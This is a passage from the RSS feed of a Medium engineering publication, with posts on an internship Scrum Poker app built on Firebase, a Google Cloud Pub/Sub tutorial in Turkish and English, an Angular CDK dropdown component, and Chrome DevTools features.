src="https://cdn-images-1.medium.com/max/1024/1*LDYnF_758r1kTXzeFGGsCQ.png" /></figure><p>In the dashboard, we can create our session adding tickets. After we click the create session button, the session is created with a random push id retrieved from Firestore. This refers to a unique document id. Each Session is stored inside the Sessions collection. And also this id is used as a url parameter to create the session link.</p><p><strong>SCRUM VOTING</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gL0le9mOOO6xfHH7_AF7kQ.png" /></figure><p>The screenshot above refers to the admin page. Unlike regular users, admin can decide if they want to reveal votes with the button or not. They can change the current ticket or set the final vote for the current ticket. Checking if the user is admin or not is quite simple. We just compared Google user id’s we retrieved from basic user profile, if the admin id is equal to the user id then we can say its admin and it has the access to the admin functionalities. Here is an example of the usage of Scrum Poker for a specific ticket.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2DHMJSAc_sTAXCzJ6dhF6Q.png" /></figure><p>The page on the left is the admin who has admin access and the one on the right is a regular user. So, how does this app work? How can users see other users’ votes and they can vote themselves?</p><ul><li>The answer is, our first method was using Firebase Cloud Messaging.</li></ul><p><strong>FIREBASE CLOUD MESSAGING ( FCM )</strong></p><p>Simply, <a href="https://firebase.google.com/docs/cloud-messaging?hl=en"><strong><em>FCM</em></strong></a> is a firebase function that sends messages to users that are subscribed to a specific topic. There are four phases for FCM. Subscribe users to a topic, send messages, get messages and lastly unsubscribe from the topic. Messages are sent to backend from frontend and then from backend to Firebase servers with a Firebase topic. Lastly Firebase sends messages to the users that are subscribed to that topic. The Firebase topic is important for choosing which users will get the message. In this case the topic is set as session id. Since every user in that session is subscribed to that topic, they all get the message. Here is a simple diagram of how FCM works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*gJrT09Z_lnC9S8OrPXxGTg.jpeg" /></figure><p>But FCM wasn’t the best way of solving this problem. Our solution was against the main purpose of FCM. Because FCM is normally used to send push notifications to a group of devices. So in my last week, we removed cloud messaging and instead, we started listening to database changes from frontend with the firestores value change listener method. Whenever there was a voting in that session, the user would be updated in real time. Here is the simplified version of the project’s latest design before my internship ended.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*KWF3QWUejtpiRQq57mt1Cg.jpeg" /></figure><p><strong>PART 3: THE END</strong></p><p>My internship took 4 weeks and lastly I presented the Scrum Poker project to Codeshake with my team on coffee &amp; talk meeting. Everbody was listening to us with pure attention. It was very pleasing to hear positive comments about our project. We even got hacked by Onur during demo! I had no idea how this happened until I realized he had access to our database because we were using Codeshake’s business email addresses :P</p><p>I believe that I have learned a lot in such a short time.I feel a little bit saddened because there were issues with Scrum Poker’s security that I didn’t have the time to solve. But still it was a great warm up for me to new technologies and methods. Firebase, Gcp, Spring Boot, Docker, Angular and Agile Development were very new to me. They still are but It was a nice entrance for me to new beginnings!</p><p>Special thanks to my buddies Ali, Melike and Utku and my teammates Zeynep and Mert who worked with me throughout this process. And thanks for the gift box :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M80voluGDqPr1sFNmahJGw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=771fe80715cd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/an-internship-odyssey-771fe80715cd">An Internship Odyssey</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Göz atalım: Google Cloud Pub/Sub]]></title>
            <link>https://medium.com/codeshakeio/g%C3%B6z-atal%C4%B1m-google-cloud-pub-sub-3275d0d84e2e?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/3275d0d84e2e</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[google-cloud-pubsub]]></category>
            <dc:creator><![CDATA[ali guvenbas]]></dc:creator>
            <pubDate>Fri, 25 Jun 2021 07:11:15 GMT</pubDate>
            <atom:updated>2021-06-25T07:11:15.157Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Bu makalede Cloud Pub/Sub(Publish/Subscribe) servisine göz atacağız. Basit bir asenkron mesajlama sistemi tasarlayıp bunu GCP Pub/Sub ile gerçekleyeceğiz. Ayrıca aynı kategorideki diğer servisler ile karşılaştırmasını yapacağız.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYAHZr6LUVaPdz8eki84Zw.jpeg" /><figcaption>Photo by <a href="https://pixabay.com/users/dference-4490937/">dference</a> on <a href="https://pixabay.com/">Pixabay</a></figcaption></figure><p>Pub/Sub client ile server bağımlılığını ortadan kaldıran <a href="https://en.wikipedia.org/wiki/Event-driven_architecture">event-driven</a> ve asenkron bir mesajlama servisidir. Pub/Sub ile bu iletimi gerçek zamanlı ve yüksek tutarlılıkla gerçekleyebiliriz.</p><h3>Terminoloji</h3><ul><li><strong>Message:</strong> İletilecek olan datadır</li><li><strong>Mesajlaşma:</strong> Verinin server’da üretilip client’a iletilmesidir.</li><li><strong>Publisher: </strong>Mesajı gönderen her bir servisdir</li><li><strong>Topic: </strong>Publisher’lar tarafından her bir mesaj bir topic’e gönderilir. Mesajların toplanma yeridir.</li><li><strong>Subscriber: </strong>Topic’e subscribe olan servislerdir. Topic’e gelen her bir mesaj subscribe olan servislere iletilir.</li><li><strong>Subscription:</strong> Mesajın bir topic’den subscriber’lara iletimidir.</li></ul><p><a href="https://cloud.google.com/pubsub/docs/pull?hl=ru">Pull Subscription</a>: Belirli zaman aralıklarında topic dinlenir. Topic’e bir mesaj gelirse, subscriber mesajı topic’den çeker.</p><p><a href="https://cloud.google.com/pubsub/docs/push?hl=ru">Push Subscription</a>: Bir HTTP endpoint çağırılır.</p><ul><li><strong>Message Attribute:</strong> Publisher’ın message içinde tanımlayabileceği key-value çiftleridir. Bu sayede bir message içinde farklı datalar iletilebilir.</li><li>Publisher ve subscriber arasında doğrudan bir ilişki olmaz. Bu sayede, Publisher ve subscriber’lar tamamen farklı dillerde ve farklı formlarda olabilirler. Örneğin bir java projesi subscriber olabileği gibi bir terminal komutu da subscriber olabilir.</li><li>Servis üstündeki yük arttığında(topic sayısı, publisher yada Subscriber sayısı, vb.) yatay ölçeklenebilir. Böylelikle tutarlılık(consistency) korunur, mesaj iletiminde gecikme(latency) yaşanmaz.</li><li>Pub/Sub kullanarak tek publishing üzerinden çoklu(batch) mesaj gönderilebilir. Pub/Sub, çoklu mesajları son mesaj gelene kadar depolayacaktır. Bu durum gecikme(latency) neden olabilir.</li><li>Google Ads,Search, Gmail gibi servislerinde saniyede 500 milyon data <a href="https://cloud.google.com/pubsub/architecture?hl=id">gönderebiliyor</a>.</li><li><a href="https://engineering.atspotify.com/2016/03/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii/">Spotify, event-delivery</a> servislerinde Pub/Sub kullanıyor.</li></ul><h3>Bir Mesajın Serüveni</h3><p>1-Mesaj publisher tarafından gönderilir</p><p>2-Mesaj depolanır</p><p>3-Pub/Sub, publisher’a mesajı aldığına ve ilettiğine dair geri bildirim yapar.</p><p>4-Mesaj subscriber’lara iletilir</p><p>5-Subscriber, Pub/Sub’a mesajı aldığına ve ilettiğine dair geri bildirim yapar.</p><p>6-Pub/Sub tüm subscriber’lardan geri bildirim aldıktan sonra mesajı siler.</p><h3>Demo</h3><blockquote>Hastaneler publisher olarak enfekte olan corona virüs vaka sayılarını topic’e(corona-world) iletecekler. Sağlık bakanlığı subscriber olarak, bu değerleri alıp, değerlendirecek.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*JVPkUAVyW8C4OmGMxus_DA.png" /></figure><p>Publisher olmanın farklı yolları vardır. Demoda üç farklı şekilde topic’e mesaj publish edeceğiz. Topic, kendisine subscriber olan bir servise mesajı push edecek.</p><ul><li>İlk hastanemiz bir içerisinde bir Pub/Sub mesaj publisher bulunan bir <a href="https://github.com/aliguvenbas/corona-collaboration/tree/master/hospital-1">Spring Boot projesi</a>. Bu proje bir Cloud Run servisinde koşuyor. Aşağıdaki taslak koddan içeriği inceleyebilirsiniz</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c56fa9e4cbb240b129e2fd393da6302a/href">https://medium.com/media/c56fa9e4cbb240b129e2fd393da6302a/href</a></iframe><ul><li>İkinci publisher aslında biziz. GCP Pub/Sub konsolunu kullanarak mesaj publish edeceğiz.</li></ul><p>1- Pub/Sub konsola git</p><p>2- Topic’i seç</p><p>3-‘+PUBLISH MESSAGE’ butonuna bas, aşağıdaki sayfa açılacak</p><p>4-Mesajı yaz, attribute ekle ve PUBLISH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*optdV2szicAd3zOxNAG1pg.png" /></figure><ul><li>Üçüncü hastanemiz olarak mesaj publish etmek için gcloud command-line kullanacağız.</li></ul><blockquote>gcloud command-line kullanmadan önce doğru gcp projesinde olup olmadığınız kontrol etmeniz faydalı olacaktır.</blockquote><pre>gcloud config list</pre><p>Geri dönüş değeri olarak publish ettiğimiz mesajın id’sini göreceğiz.</p><pre>&gt; gcloud pubsub topics publish corona-world <br>--message=&quot;8&quot; <br>--attribute=&quot;hospital-name=hospital-3&quot;<br>&lt; messageIds:<br>       - &#39;2480461055854536&#39;</pre><ul><li>Şimdi de subscriber tarafına bakalım. Push subscribtion, topic’e belirtilen bir POST endpoint’ini çağırır. Yani aslında topic kendisine bir mesaj iletildiğinde push subscriber’ların POST endpointlerine request atacak. Şu şekilde push subscriber tanımlayabiliriz.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*k4bv6oInp0e0HzQ2QkKt0g.png" /></figure><p>Subscriber bir <a href="https://github.com/aliguvenbas/corona-collaboration/tree/master/health-ministry">Spring Boot projesi</a> ve ilk hastane gibi Cloud Run’da koşuyor. Aşağıdaki taslak koddan içeriği inceleyebilirsiniz</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/703533a36d5f113458c2996b54c3b212/href">https://medium.com/media/703533a36d5f113458c2996b54c3b212/href</a></iframe><p>Tüm mesajlar geldikten sonra subscriber loglarına bir göz atalım.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bixGP0nFmie_gGEIr7fRKQ.png" /></figure><h3>Pub/Sub Lite</h3><p>Pub/Sub Lite, Pub/Sub servisinin yalın halidir diyebiliriz. Bu sayede kullanım maaliyetlerini düşürebilir. İki servis arasında birçok <a href="https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite?hl=ru">farklılık</a> var ama aşağıdaki temel kullanım farkları göz önüne alınarak tercih yapılabilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*B4JwjLxoW2wkHpkYUJRekg.png" /></figure><ul><li><a href="https://cloud.google.com/pubsub/docs/overview?hl=ru">https://cloud.google.com/pubsub/docs/overview?hl=ru</a></li><li><a href="https://engineering.atspotify.com/2016/03/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii/">https://engineering.atspotify.com/2016/03/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3275d0d84e2e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/g%C3%B6z-atal%C4%B1m-google-cloud-pub-sub-3275d0d84e2e">Göz atalım: Google Cloud Pub/Sub</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Let’s take a look: Google Cloud Pub/Sub]]></title>
            <link>https://medium.com/codeshakeio/lets-take-a-look-google-cloud-pub-sub-b03a978939ff?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/b03a978939ff</guid>
            <category><![CDATA[google-cloud-platform]]></category>
            <category><![CDATA[google-cloud-pubsub]]></category>
            <category><![CDATA[coronavirus]]></category>
            <dc:creator><![CDATA[ali guvenbas]]></dc:creator>
            <pubDate>Mon, 14 Jun 2021 07:10:09 GMT</pubDate>
            <atom:updated>2021-06-14T07:10:09.335Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>In this article, we will take a look at Cloud Pub/Sub(Publish/Subscribe). We will design an asynchronous messaging system by using Cloud Pub/Sub.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYAHZr6LUVaPdz8eki84Zw.jpeg" /><figcaption>Photo by <a href="https://pixabay.com/users/dference-4490937/">dference</a> on <a href="https://pixabay.com/">Pixabay</a></figcaption></figure><p>Pub/Sub is an asynchronous and <a href="https://en.wikipedia.org/wiki/Event-driven_architecture">event-driven</a> messaging service. Pub/Sub offers real-time message delivery consistent performance. Another important advantage decouples your service and client sides. We will glance over later on.</p><h3>Terminology</h3><ul><li><strong>Message:</strong> The data that will be delivered.</li><li><strong>Messaging:</strong> Creation of data at the server and delivering to a client.</li><li><strong>Publisher: </strong>The service that will create and send the message.</li><li><strong>Topic: </strong>Every created message by publishers is sent to a topic. In a sense, It is a gathering place for data.</li><li><strong>Subscriber: </strong>The services that subscribe to a topic. The messages that came to a topic are delivered to subscribers.</li><li><strong>Subscription: </strong>Delivery process from topic to a subscriber.</li></ul><p><a href="https://cloud.google.com/pubsub/docs/pull?hl=ru">Pull Subscription</a>: The topic is listened at the specified periods. If any message came to the topic, the pull subscriber pulls the message from the topic.</p><p><a href="https://cloud.google.com/pubsub/docs/push?hl=ru">Push Subscription</a>: An HTTP endpoint is called via POST request. The message is placed inside the request body.</p><ul><li><strong>Message Attribute:</strong> Key-value pairs that can be defined in the message by the publisher. Thus, various data can be delivered in a message.</li><li>Pub/Sub decouples the publisher and subscriber services. Thus, they could be completely different in terms of programming language or way of being publisher and subscriber. For example, the subscriber could be a java program or just a terminal command.</li><li>If the load of the pub/sub will be increased by the increase of topics, subscribers, or publishers, the system will be scaled horizontally. This feature gives us consistency and prevents latency.</li><li>Pub/Sub supports batch messaging into one call. The Pub/Sub service waits for the end of the batch stream. In the meantime, It stores the batch data temporarily. Therefore, Using batch mode could cause latency.</li><li>Services such as Google Ads, Search, Gmail can send 500 million data per second through using pub/sub.</li><li>Spotify uses Pub/sub in their <a href="https://engineering.atspotify.com/2016/03/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii/">event-delivery services</a>.</li></ul><h3><strong>Journey of a message</strong></h3><p>1-The message sent by a publisher to a topic.</p><p>2-Message is stored.</p><p>3-Pub/Sub sends an acknowledgment to the publishers.</p><p>4-The message is delivered to subscribers.</p><p>5-Each subscriber sends an acknowledgment to the Pub/Sub.</p><p>6-Pub/Sub deletes the message from storage after getting the acknowledgments from all subscribers.</p><h3>Demo</h3><p>Three different hospitals as a publisher will declare the daily coronavirus numbers to a topic(corona_world). The health ministry will take the numbers and evaluate</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*JVPkUAVyW8C4OmGMxus_DA.png" /></figure><p>There are different ways to be a publisher. We will publish a message as a publisher in three different ways. The topic will deliver the message to a push subscriber.</p><ul><li>The first hospital is a <a href="https://github.com/aliguvenbas/corona-collaboration/tree/master/hospital-1">Spring Boot project</a> which is running in Cloud Run. The following piece of code reflects the project bases.</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c56fa9e4cbb240b129e2fd393da6302a/href">https://medium.com/media/c56fa9e4cbb240b129e2fd393da6302a/href</a></iframe><ul><li>The second hospital is us actually. We will use GCP Pub/Sub console.</li></ul><p>1- Go to Pub/Sub console</p><p>2- Select the topic</p><p>3-Push to ‘+PUBLISH MESSAGE’, the page below will be open.</p><p>4-Write the message, add the attribute, and PUBLISH</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*optdV2szicAd3zOxNAG1pg.png" /></figure><ul><li>We will use gcloud command-line for the third hospital.</li></ul><blockquote>Please check are you using the correct gcp project with the following command</blockquote><pre>gcloud config list</pre><p>The message id will return.</p><pre>&gt; gcloud pubsub topics publish corona-world <br>--message=&quot;8&quot; <br>--attribute=&quot;hospital-name=hospital-3&quot;<br>&lt; messageIds:<br>       - &#39;2480461055854536&#39;</pre><ul><li>Let’s take a look at the subscriber part. Push subscription calls a POST endpoint that we define at the adding subscription step. This is our subscription;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*k4bv6oInp0e0HzQ2QkKt0g.png" /></figure><p>Subscriber is a <a href="https://github.com/aliguvenbas/corona-collaboration/tree/master/health-ministry">Spring Boot project</a> and runs in Cloud Run. The following piece of code reflects the project bases.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/703533a36d5f113458c2996b54c3b212/href">https://medium.com/media/703533a36d5f113458c2996b54c3b212/href</a></iframe><p>These are the logs after three hospitals declare daily coronavirus numbers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bixGP0nFmie_gGEIr7fRKQ.png" /></figure><h3>Pub/Sub Lite</h3><p>Pub/Sub Lite is a lightweight version of Pub/Sub. Thus, we can reduce the cost. There are some differences between the two services but here are the important ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*qi0IDXOgCSwJD2hKy27Ugg.png" /></figure><ul><li><a href="https://cloud.google.com/pubsub/docs/overview?hl=ru">https://cloud.google.com/pubsub/docs/overview?hl=ru</a></li><li><a href="https://engineering.atspotify.com/2016/03/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii/">https://engineering.atspotify.com/2016/03/03/spotifys-event-delivery-the-road-to-the-cloud-part-ii/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b03a978939ff" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/lets-take-a-look-google-cloud-pub-sub-b03a978939ff">Let’s take a look: Google Cloud Pub/Sub</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Build a dropdown component using Angular CDK]]></title>
            <link>https://medium.com/codeshakeio/build-a-dropdown-component-using-angular-cdk-fa45455e6a73?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/fa45455e6a73</guid>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[ui-library]]></category>
            <category><![CDATA[typescript]]></category>
            <category><![CDATA[front-end-development]]></category>
            <category><![CDATA[components]]></category>
            <dc:creator><![CDATA[Ertunga Bezirgan]]></dc:creator>
            <pubDate>Wed, 12 May 2021 09:45:25 GMT</pubDate>
            <atom:updated>2021-05-12T09:45:25.484Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ga2FeWPUJBXd1Lw6" /><figcaption>Photo by <a href="https://unsplash.com/@evelynparis?utm_source=medium&amp;utm_medium=referral">Evelyn Paris</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In this article, we’ll go through the process of creating a custom, reusable dropdown component with Angular CDK’s overlay module. The way it is consumed will resemble the Angular Material’s menu component.</p><p>Let’s go over the requirements</p><ul><li>Toggle dropdown when the button is clicked</li><li>When clicked outside or on itself, the dropdown will be closed</li></ul><p>Here is what the final result looks like,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*G2KGZ4Ay2JO6g5fsiKciMQ.gif" /></figure><h3>Setup</h3><p>Before we start, make sure to install Angular CDK.</p><pre>npm install @angular/cdk</pre><p>Also, add the following prebuilt style to your global stylesheet. By default that would be the styles.scss file under src directory.</p><pre>@import &#39;~@angular/cdk/overlay-prebuilt.css&#39;;</pre><h3>Overview</h3><p>Our solution will have a similar approach to <a href="https://material.angular.io/components/menu/overview">Angular Material menu component</a> in the way it is consumed. That means we are going to use a directive that will get the reference for the dropdown it is going to control. Methods that open or close the dropdown will be written inside the directive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*Wkln_KsxUzCNUzma28M9ng.png" /></figure><p>dropdown-panel is the interface that our dropdown component will implement. templateRef holds the reference for the dropdown component template and closed is the EventEmitter that will emit when there is a click on the dropdown itself which then will be used for closing the dropdown.</p><p>In the end, this is how it will be used in the application</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/afba20ada8108076ab6d0d6347dab8f7/href">https://medium.com/media/afba20ada8108076ab6d0d6347dab8f7/href</a></iframe><h3>Toggle Dropdown</h3><p>To kick things off, let’s create a directive called dropdownTriggerFor. Two important things to mention here:</p><ul><li>Toggle dropdown method is bound to the host element’s click event</li><li>Getting dropdown panel via @Input decorator so that we have access to the template reference of the dropdown and the EventEmitter which we will subscribe to close the dropdown</li></ul><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a6cdb92650b313adbb037f94cd098a7b/href">https://medium.com/media/a6cdb92650b313adbb037f94cd098a7b/href</a></iframe><h3>Create an Overlay</h3><p>The next step will be to create an overlay to which the dropdown will be attached. For that, we will use the <a href="https://material.angular.io/cdk/overlay/overview">Overlay</a> service from Angular CDK and call the create method from the service.</p><p>Here is what we need to do,</p><ol><li>Create the overlay with this.overlay.create({...}) method.</li><li>Using the dropdown panel we got from the @Input, create a TemplatePortal.</li><li>Attach TemplatePortal to the overlay using this.overlayRef.attach(...) method.</li><li>Start listening to the closing actions, so that we can close the dropdown when it emits a new value.</li></ol><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c75f4a29b9e03fc4289092a23754465d/href">https://medium.com/media/c75f4a29b9e03fc4289092a23754465d/href</a></iframe><p>Now, the create method takes a configuration object as a parameter to customize the overlay behaviour. Let’s go over some of its configurations.</p><ul><li><strong>scrollStrategy:</strong> Configures the behaviour of the overlay during scrolling. Possible options are noop, reposition, block and close.</li><li><strong>flexibleConnectedTo:</strong> Pass in a connection origin for the overlay. This could be an element or element reference or any given (x, y) coordinates within the page. We want to connect the overlay to the button, that’s why we are passing this.elementRef as the connection origin.</li><li><strong>withPositions:</strong> An array of positioning options for the overlay. Sorted from most to least desirable position. For brevity, I will pass in only one option that will render the dropdown underneath the button.</li></ul><p>We have created an overlay, now let’s attach our dropdown template to it. We do so by creating a TemplatePortal and pass in the templateRef and the viewContainerRef. Then we are going to attach created TemplatePortal to the overlay using the attach method.</p><h3>Close Dropdown</h3><p>Now that we took care of the opening part, let’s look into the scenarios in which we want to close the dropdown. As we stated in the requirements, it should be closed when there is a click on the outside or on itself. Clicks on the dropdown itself will be handled in the dropdown component, we will come to that in a second. Outside clicks can be captured with backdropClick observable. Also, detachments is an observable that emits when the overlay has been detached, that is something we should take into account. And last but not least, throw in the dropdown panel’s closed event emitter in there as well. We will combine them all using merge and subscribe to the resulting merged observable in the openDropdown method.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8ed135b96e7ffd1c4bd29e015cef3e25/href">https://medium.com/media/8ed135b96e7ffd1c4bd29e015cef3e25/href</a></iframe><p>To close the dropdown, we will call the destroyDropdown method which will detach the overlay.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b544baf78dabde45bced53b28bd4a12a/href">https://medium.com/media/b544baf78dabde45bced53b28bd4a12a/href</a></iframe><h3>Create a Dropdown Component</h3><p>The component is pretty simple. Just wrap ng-content with a div and add some style to it. As mentioned before, we will use closed here to emit a new value when there is a click on the dropdown itself.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7a43817d7cc4a4fc68ffa7837026d84d/href">https://medium.com/media/7a43817d7cc4a4fc68ffa7837026d84d/href</a></iframe><p>We will also implement dropdown-panel interface.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/36aa3cfc376f16b9197ba87672f8a3f0/href">https://medium.com/media/36aa3cfc376f16b9197ba87672f8a3f0/href</a></iframe><h3>Done! 🎉</h3><p>And that’s really it! We’ve seen how Angular CDK overlay can be used to create a reusable dropdown component and we are only scratching the surface here. CDK modules can help you develop many more kinds of components. Dialog, toast, drawer, tooltip, popover just to name a few.</p><p>Hope you find this article helpful. If you have any questions, don’t hesitate to drop a comment. 👋</p><p>Here is the complete source code,</p><p><a href="https://stackblitz.com/edit/angular-cdk-dropdown?embed=1&amp;file=src/app/dropdown/dropdown-trigger-for.directive.ts">angular-cdk-dropdown - StackBlitz</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa45455e6a73" width="1" height="1" alt=""><hr><p><a href="https://medium.com/codeshakeio/build-a-dropdown-component-using-angular-cdk-fa45455e6a73">Build a dropdown component using Angular CDK</a> was originally published in <a href="https://medium.com/codeshakeio">codeshakeio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[9 Hidden Features of Chrome DevTools]]></title>
            <link>https://medium.com/codeshakeio/9-hidden-features-of-chrome-devtools-ca18fbf8470c?source=rss----945d0b03f0f0---4</link>
            <guid isPermaLink="false">https://medium.com/p/ca18fbf8470c</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[google]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Serdar Sayın]]></dc:creator>
            <pubDate>Fri, 23 Apr 2021 08:53:00 GMT</pubDate>
            <atom:updated>2021-04-23T08:53:00.020Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lhTyNdL2KcsT4F0E_HXkoA.png" /><figcaption><a href="https://en.wikipedia.org/wiki/Wanderer_above_the_Sea_of_Fog">Wanderer Above the Sea of Fog</a> by Caspar David Friedrich</figcaption></figure><blockquote>For the sake of integrity I would encourage you to read from start to end because there are connections between them. <em>✌️</em></blockquote><h4>Prerequisites</h4><ul><li>Having a basic understanding of Chrome DevTools is more than enough.</li><li>The basics of web development are also nice to have.</li></ul><h3>Introduction</h3><p>Web development is hard. There are so many tools/languages/frameworks out there. When someone asks you; Hey! do you know <em>library X</em>? You might say, Yeah I heard good things about it or you might say I have somewhat experience. These conversations remind me of a great novel.</p><p>In the book “A Wizard of Earthsea”, there are multiple names for each character/object. However, there is only one <strong>true name</strong><em> </em>that needs to be kept secret. Because, if you know the true name of that character/object you have full power against them, and the only way to discover the real name is by <strong>knowing</strong> the character/object. It might seem a little abstract but here is the connection.</p><p>When you know your tool in detail not by how it resonates when you hear but with the full knowledge on that domain. That’s when you have full power over them. This story will try to help you to learn the <strong>true name</strong> of Google Chrome DevTools.</p><p>Let’s go.</p><h3>1. Command Menu 🕵️</h3><p>The very first thing is the command menu. It enables you to search through all possibilities Dev Tools give you. I actually could just give you this shortcut and call this an article 🤖.</p><p>After you open up your DevTools</p><p>Use these shortcuts to open up the command menu depending on your operating system.</p><p>macOS</p><pre>Cmd + Shift + P </pre><p>Windows and Linux</p><pre>Ctrl + Shift + P</pre><p>You can see all the possibilities and they are classified under several names. I’m going to try to explain some of the most useful/hidden capabilities in this article. I cannot urge you enough to dive into detail.</p><h3>2. Throttling 🚧️</h3><p>If you are living in a first-world country you probably have a minimal amount of experience on how hard life is surfing on the internet with terrible connections. Even if you are living in those states your users may not live under similar circumstances.</p><p>According to ITU (International Telecommunication Union), 10% of the mobile users in Developing* countries are using 3G. That’s roughly millions of people. I’m not even counting jitters on your <strong>fast connections </strong>or terrible connections when having a hiking trip with your buddies. If you are not prepared for these kinds of conditions your retention rate may drop drastically or simply they wouldn’t enjoy your application.</p><p>Staring at a blank screen sucks. Only if there&#39;s a way to emulate these conditions. 🤔</p><p>Let’s type <strong>Show Throttling</strong> in your command menu.</p><p>This tab’s purpose is solely to emulate different internet speed connections. You can create new user profiles for your own needs and pretend as if you are them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*RJ65kubzTdq9jCSV.gif" /><figcaption>Creating Throttle Profile</figcaption></figure><p>Open up your <strong>Network</strong> tab and click the <strong>No throttling</strong> dropdown.</p><p>You’ll see a couple of options to emulate, you can pick default options or use the custom one that you can create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*ZLHg5RODIXrqGpf_.gif" /><figcaption>Usage of Throttle Profile</figcaption></figure><h3>3. Experiments 🔮️</h3><p>For the time being, I’m using version <strong>90.0.4430.72 (Official Build)</strong><em>. </em>The features that I show you are stable except the 4th one. Super talented people at Google are still working on making DevTools better day by day. However, you may not see every feature unless you enable the <strong>experiments</strong> explicitly. So here is the tip.</p><p>Go to your <strong>Command Menu </strong>and type <strong>Show Experiments</strong></p><p>You’ll see that there are tons of features that you probably haven’t had a chance to try out. They classified them under two sections. Briefly, they say we have <strong>unstable</strong> features and we also have <strong>particularly unstable</strong> ones that you can opt-in. Basically, we are warned by the team to be more precautious. I definitely encourage you to fool around with experiments.</p><h3>4. CSS Overview 🔭️</h3><p>I’m pretty sure you have seen a web application that leaves you in awe. Here is a tip to steal some of their design systems 😜</p><p>For the time being, this feature has an experimental flag. From the previous section, you know how to enable experimental features in DevTools now.</p><p>Go to <strong>Experiments </strong>and enable <strong>CSS Overview</strong></p><p>You need to reload your DevTools. You’ll see a blue button to do so 